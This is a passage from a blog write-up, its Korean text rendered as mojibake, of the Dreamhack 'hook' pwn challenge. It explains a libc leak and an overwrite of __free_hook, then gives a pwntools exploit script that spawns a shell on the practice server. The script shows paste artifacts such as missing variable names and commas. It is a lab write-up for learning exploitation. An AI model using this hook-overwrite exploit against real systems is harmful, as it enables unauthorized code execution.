Jastes 2022. 10. 30. 23:50


hook

๋ฌธ์ œ ํ’€์ด

์ด๋ฒˆ์—๋„ hook overwirte์˜ ๋ฌธ์ œ๋กœ ์ด์ „ ๋ฌธ์ œ์—์„œ ๋ดค๋˜ ํ˜•์‹๊ณผ๋Š” ์•ฝ๊ฐ„ ๋‹ค๋ฅด๋„ค์š”
์•„๋ฌด๋ž˜๋„ one_gadget์ฒ˜๋Ÿผ์€ ๋ชปํ•˜๋Š” ๋“ฏ ์‹ถ๋„ค์š” PIE๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š๊ณ  RELRO๊ฐ€ FULL..
์ƒ๋‹นํžˆ ํž˜๋“ค๊ฒ ๋„ค์š” PIE๊ฐ€ ์ ์šฉ X์ธ๊ฒƒ์„ ๋ดค์„ ๋•Œ code ์˜์—ญ์—์„œ ์ฃผ์†Œ๋ฅผ ํ™œ์šฉํ•  ๋“ฏ?

๊ทผ๋ฐ one_gadget์œผ๋กœ ํ•ด๋„ ๋  ๊ฑฐ ๊ฐ™๊ธดํ•œ๋ฐ ์ด๋ฆ„์— ๋”ฐ๋ผ์„œ ํ•ด๋ด…์‹œ๋‹ค

log์˜ ํƒ€์ž…์˜ ํฌ์ธํ„ฐ ํ•˜๋‚˜์™€ size_t ํƒ€์ž…์˜ ๋ณ€์ˆ˜ ์„ ์–ธ์ด ๋˜์–ด์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋ฆฌ๊ณ  stdout.. ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•˜๋Š”๋ฐ ๋ฐ‘์— ptr์ด ๋”๋ธ”ํฌ์ธํ„ฐ์ธ์ ์„ ๋ฏธ๋ฃจ์–ด๋ณด์•˜์„ ๋•.. 


์œ„์— ๋ดค๋˜ ๋”๋ธ”ํฌ์ธํ„ฐ ptr๋ถ€๋ถ„์—์„œ ๋ฐฐ์—ด์œผ๋กœ ์ ์šฉ๋˜๋ฏ€๋กœ
ptr[0]์— ๋“ค์–ด๊ฐ„ ๊ฐ’์„ ์ฐธ์กฐํ•˜๋Š” ๊ฐ’์— ptr[1]์„ ๋Œ€์ž…ํ•œ ๋ชจ์Šต์ธ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค
์ฆ‰, **ptr = ptr[1]์ธ ๋Š๋‚Œ? ์ฐธ๊ณ ๋กœ *(long *)*ptr.. ํ˜•๋ณ€ํ™˜ ์ฝ”๋“œ๋„ค์š” ๊ทผ๋ฐ.. ๊ตณ์ด? 
๊ฒฐ๋ก ์ ์œผ๋กœ **ptr = ptr[1] ๋งž๋„ค์š”

์ƒ๊ฐํ•ด๋ณด๋‹ˆ๊นŒ PIE๊ฐ€ ์ ์šฉ์ด ์•ˆ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ๋ฐ”๋กœ gadget์„ ์‚ฌ์šฉํ•ด๋„ ๋ ๊ฑฐ ๊ฐ™๊ธดํ•œ๋ฐ..
์ž…๋ ฅ ๋ฐ›์€ ์‚ฌ์ด์ฆˆ ๋งŒํผ heap์˜ ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น ๊ทธ ์ฃผ์†Œ๋Š” ptr๋กœ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค
๋ฐฉ๊ธˆ ํ• ๋‹นํ•œ ์ฃผ์†Œ์— size ๋งŒํผ ์ž…๋ ฅ๋ฐ›๊ณ  ์žˆ๋Š” ๋ชจ์Šต์ž…๋‹ˆ๋‹ค


Exploit ์„ค๊ณ„

์ฒ˜์Œ ์ถœ๋ ฅํ•ด์ฃผ๋Š” stdout์˜ ์ฃผ์†Œ๋ฅผ ๋ฐ›์•„ libc_base๋ฅผ ๊ตฌํ•ด __free_hook์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•œ ํ›„
๊ตฌํ•œ ์ฃผ์†Œ์— __free_hook์ฃผ์†Œ์™€ system("/bin/sh")์˜ ์ฃผ์†Œ๋ฅผ ์—ฐ๋‹ฌ์•„ ์ž…๋ ฅํ•˜๋ฉด ๋๋‚  ๋“ฏ ์‹ถ์€๋ฐ..

์œ„์— ๋ดค๋˜ ๋”๋ธ”ํฌ์ธํ„ฐ ptr๋ถ€๋ถ„์—์„œ ๋ฐฐ์—ด์œผ๋กœ ์ ์šฉ๋˜๋ฏ€๋กœ
ptr[0] = free_hook ๋ณ€์ˆ˜, ptr[1]์ด ๋„ฃ์–ด์ค„ ๊ฐ’์œผ๋กœ ์ ์šฉํ•˜๋ฉด ๋  ๊ฑฐ ๊ฐ™์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๊ธฐ์— ํ•œ ๋ฒˆ ์‹œ๋„๋ฅผ ํ•ด๋ด…์‹œ๋‹ค

 


Exploit

์ด์ „ ์ฝ”๋“œ๋ฅผ ๋งŽ์ด ์ฐธ๊ณ ํ•˜์—ฌ ์ž‘์„ฑํ•˜์˜€์Šต๋‹ˆ๋‹ค

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
 
def slog(a, b):
    return success(": ".join([a, hex(b)]))
 
= remote("host3.dreamhack.games"19300)
= ELF("./hook")
libc = ELF("./libc.so.6")
 
stdout_offset = libc.symbols["_IO_2_1_stdout_"]
free_hook_offset = libc.symbols["__free_hook"]
system_address = 0x400a11
 
p.recvuntil("stdout: ")
stdout_address = int(p.recv(14), 16)
libc_base = stdout_address - stdout_offset
free_hook_address = libc_base + free_hook_offset
 
slog("library base", libc_base)
slog("free_hook address", free_hook_address)
slog("system address", system_address)
 
p.sendlineafter("Size: "str(400))
payload = p64(free_hook_address) + p64(system_address)
p.sendafter("Data: ", payload)
 
p.interactive()
cs

free_hook ์ด ์ž๋™ํ• ๋‹น์„ ํ›„ํ‚นํ•˜๋Š” ๋ชจ์Šต ์ฒ˜์Œ hook ๋ฌธ์ œ๋ฅผ ํ’€์—ˆ์„ ๋•Œ ๊ณ ์ „ํ–ˆ๋˜ ๋ถ€๋ถ„์ธ๋ฐ
์ด๋ ‡๊ฒŒ ๋ณด๋‹ˆ๊นŒ ์ฐธ.. ๋ณ„๊ฑฐ ์—†์–ด๋ณด์ผ์ง€๋„? Dreamhack ์—์„œ ํ•จ๊ป˜ํ•˜๊ธฐ ์ž๋ฃŒ๋ฅผ ๋งŽ์ด ์ฐธ๊ณ  ํ•˜์˜€์Šต๋‹ˆ๋‹ค


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€